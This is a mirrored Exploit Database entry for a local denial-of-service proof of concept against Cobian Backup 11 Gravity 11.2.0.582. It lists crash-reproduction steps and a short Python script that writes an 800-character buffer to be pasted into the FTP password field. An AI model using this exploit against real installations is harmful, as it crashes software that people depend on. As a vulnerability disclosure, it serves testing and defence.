Cobian Backup 11 Gravity 11.2.0.582 – ‘Password’ Denial of Service (PoC)

• Exploit Database
• 11 阅读

• 作者： Luis Martínez
  日期： 2022-02-28
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50790/

• # Exploit Title: Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC)
  # Discovery by: Luis Martinez
  # Discovery Date: 2022-02-16
  # Vendor Homepage: https://www.cobiansoft.com/
  # Software Link: https://files.cobiansoft.com/programs/cbSetup.exe
  # Tested Version: 11.2.0.582
  # Vulnerability Type: Denial of Service (DoS) Local
  # Tested on OS: Windows 10 Pro x64 es
  
  # Steps to Produce the Crash:
  # 1.- Run python code: Cobian_Backup_11.2.0.582.py
  # 2.- Open Cobian_Backup_11.2.0.582.txt and copy content to clipboard
  # 3.- Open "Cobian Backup 11 Gravity User Interface"
  # 4.- Task -> "New task"
  # 5.- File -> Source "Add" -> FTP
  # 6.- Host -> 10.10.10.10
  # 7.- Port-> 21
  # 8.- User name -> admin
  # 9.- Paste ClipBoard on "Password"
  # 10.- Ok
  # 11.- Crashed
  
  #!/usr/bin/env python
  
  buffer = "\x41" * 800
  f = open ("Cobian_Backup_11.2.0.582.txt", "w")
  f.write(buffer)
  f.close()